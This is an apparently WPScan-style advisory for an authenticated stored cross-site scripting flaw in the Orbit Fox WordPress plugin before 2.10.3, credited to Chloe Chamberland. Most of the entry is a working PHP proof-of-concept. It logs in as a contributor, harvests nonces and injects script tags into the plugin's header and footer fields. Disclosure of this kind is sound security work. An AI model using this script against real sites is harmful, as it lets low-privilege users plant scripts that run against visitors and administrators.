WordPress Plugin Vulnerabilities
Orbit Fox by ThemeIsle < 2.10.3 - Authenticated Stored Cross Site Scripting
Description
Orbit Fox by ThemeIsle has a feature to add custom scripts to the header and footer of a page or post. There were no checks to verify that a user had the unfiltered_html capability prior to saving the script tags, thus allowing lower-level users to inject scripts that could potentially be malicious.
Proof of Concept
<?php // Settings $siteurl = $argv[1]; $wp_user = $argv[2]; $wp_pass = $argv[3]; $proxy = '127.0.0.1:8081'; $urlbits = parse_url( $siteurl ); $wp_url = $urlbits['scheme'].'://'.$urlbits['host'].'/'; //Json Encode Our New Post $data = array( "title" => "Exploit Post", "content" => "<!-- wp:paragraph -->\nSample\n<!-- /wp:paragraph -->", "status"=>"pending"); $postdata = json_encode($data); //Get Json post data length $length = strlen($postdata); echo 'Logging in!'; // 1) Log in as contributor+ $ch = curl_init(); $cookiejar = tempnam(sys_get_temp_dir(), 'cookiejar-'); curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-login.php'); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, [ 'log' => $wp_user, 'pwd' => $wp_pass, 'rememberme' => 'forever', 'wp-submit' => 'Log+In', ]); $output = curl_exec($ch); curl_close($ch); echo 'Grabbing Rest API!'; // Pull the Rest API Nonce $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-admin/post-new.php'); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $content = curl_exec($ch); curl_close($ch); //Rest API Nonce preg_match('/wp\.apiFetch\.createNonceMiddleware\(\s"([^"]+)"\s\)/', $content, $matches); $restnonce = $matches[1]; echo 'Creating New Post and Grabbing Page ID!'; //Create New Post $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-json/wp/v2/posts'); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt( $ch, CURLOPT_PROXY, $proxy ); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt( $ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', "X-WP-Nonce: $restnonce", "Content-Length: $length")); curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); $test = curl_exec($ch); //Grab the page-id preg_match('/"id":([^"]+),/', $test, $matches); $pageid = $matches[1]; echo 'Getting Another Nonce!'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $siteurl . '/wp-admin/post.php?post=' . $pageid . '&action=edit'); curl_setopt( $ch, CURLOPT_PROXY, $proxy ); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $edit = curl_exec($ch); curl_close($ch); //Import Nonce preg_match('/_wpnonce"\svalue="([^"]+)"(.)*user_ID/', $edit, $matches); $wpnonce = $matches[1]; preg_match('/name="obfx-header-scripts_meta_nonce"\svalue="([^"]+)"/', $edit, $matches); $metanonce = $matches[1]; preg_match('/name="obfx-footer-scripts_meta_nonce"\svalue="([^"]+)"/', $edit, $matches); $metanonce2 = $matches[1]; $ch = curl_init(); curl_setopt( $ch, CURLOPT_URL, $siteurl . '/wp-admin/post.php' ); curl_setopt( $ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13' ); curl_setopt( $ch, CURLOPT_PROXY, $proxy ); curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiejar); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiejar); curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true ); curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true ); curl_setopt( $ch, CURLOPT_POST, true ); curl_setopt( $ch, CURLOPT_POSTFIELDS, [ '_wpnonce' => $wpnonce, 'action' => 'editpost', 'post_ID' => $pageid, 'obfx-header-scripts_meta_nonce' => $metanonce, 'obfx-footer-scripts_meta_nonce' => $metanonce2, 'obfx-header-scripts' => '<script>alert("header")</script>', 'obfx-footer-scripts' => '<script>alert("footer")</script>' ] ); $output = curl_exec($ch); curl_close($ch); print_r($output); ?>
Affects Plugins
References
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Chloe Chamberland
Submitter
Chloe Chamberland
Submitter website
Submitter twitter
Verified
No
WPVDB ID
Timeline
Publicly Published
2021-01-12 (about 3 years ago)
Added
2021-01-12 (about 3 years ago)
Last Updated
2021-02-19 (about 3 years ago)